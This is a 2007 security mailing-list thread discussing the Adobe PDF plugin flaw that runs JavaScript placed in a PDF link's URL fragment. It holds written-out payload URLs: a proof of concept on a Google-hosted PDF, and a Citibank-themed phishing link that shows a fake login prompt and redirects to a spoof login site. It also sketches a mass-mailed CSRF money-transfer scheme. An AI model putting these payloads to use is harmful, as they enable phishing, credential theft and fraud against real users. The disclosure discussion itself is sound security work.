I'm most worried about the CSRF vector.
XSS attacks are easily preventable via a web app firewall, input
validation and/or session ID rotation; and I see a lot of frameworks
(like Drupal 4.7.4+) protect against CSRF via Form Keys and/or rotating
sessions. But I do not see a lot of custom commercial sites implement
solid CSRF protection quite yet.
So I'm thinking, locate a PDF that requires log-in to read; send a URL
to the PDF with a CSRF attack attached (please transfer money to me
swiss bank account), mass mail, the user clicks the link, legally logs
in, the pdf path points the user to the pdf w/ CSRF attached - and then
ouch.
I'm new at this game, but am I thinking along the right path?
- Jim
Jean-Jacques Halans wrote:
And it makes a great phishing hole too.
Google for any banking pdf's
and attach your fake banking site to let the user login to read the
article.
For example:
Send out an email pretending to come from Citibank, about a new
article on Wealth Management, with a link to the real article:
http://www.citibank.com/privatebank/np_on_wm.pdf#something=javascript:var%20url=%22http://www.citibank.com/privatebank/%22;var%20temp=confirm(%22Dear%20Citibank%20Customer,\n\nPlease%20login%20to%20read%20the%20article.\nAfter%20login%20you%20will%20be%20returned%20to%20the%20article.\n\n%22);var%20url2=%22http://www.somecitibankspoofurl.com/fake_login_page%22;if(temp){document.location=url2}else{document.location=url}
Notice the popup (in firefox) which says: "The page at
http://www.citibank.com says:"
JJ
On 1/3/07, pdp (architect) <pdp.gnucitizen@xxxxxxxxxxxxxx> wrote:
I will be very quick and just point to links where you can read about
this issue.
It seams that PDF documents can execute JavaScript code for no
apparent reason by using the following template:
http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here
You must understand that the attacker doesn't need to have write
access to the specified PDF document. In order to get an XSS vector
working you need to have a PDF file hosted on the target and that's
all about it. The rest is just a matter of your abilities and desires.
This finding was originally mentioned by Sven Vetsch, on his blog.
This is a very good and quite interesting. Good work.
There is a POC I composed:
http://www.google.com/librariancenter/downloads/Tips_Tricks_85x11.pdf#something=javascript:function%20createXMLHttpRequest(){%20%20%20try{%20return%20new%20ActiveXObject('Msxml2.XMLHTTP');%20}catch(e){}%20%20%20try{%20return%20new%20ActiveXObject('Microsoft.XMLHTTP');%20}catch(e){}%20%20%20try{%20return%20new%20XMLHttpRequest();%20}catch(e){}%20%20%20return%20null;}var%20xhr%20=%20createXMLHttpRequest();xhr.onreadystatechange%20=%20function(){%20%20%20%20if%20(xhr.readyState%20==%204)%20%20%20%20%20%20%20%20alert(xhr.responseText);};xhr.open('GET',%20'http://www.google.com',%20true);xhr.send(null);
More on the matter can be found here:
http://www.gnucitizen.org/blog/danger-danger-danger/
http://www.disenchant.ch/blog/hacking-with-browser-plugins/34
--
pdp (architect) | petko d. petkov
http://www.gnucitizen.org
----------------------------------------------------------------------------
The Web Security Mailing List:
http://www.webappsec.org/lists/websecurity/
The Web Security Mailing List Archives:
http://www.webappsec.org/lists/websecurity/archive/
http://www.webappsec.org/rss/websecurity.rss [RSS Feed]
--
Best Regards,
Jim Manico
GIAC GSEC Professional, Sun Certified Java Programmer
jim@xxxxxxxxxx
808.652.3805
----------------------------------------------------------------------------
The Web Security Mailing List:
http://www.webappsec.org/lists/websecurity/
The Web Security Mailing List Archives:
http://www.webappsec.org/lists/websecurity/archive/
http://www.webappsec.org/rss/websecurity.rss [RSS Feed]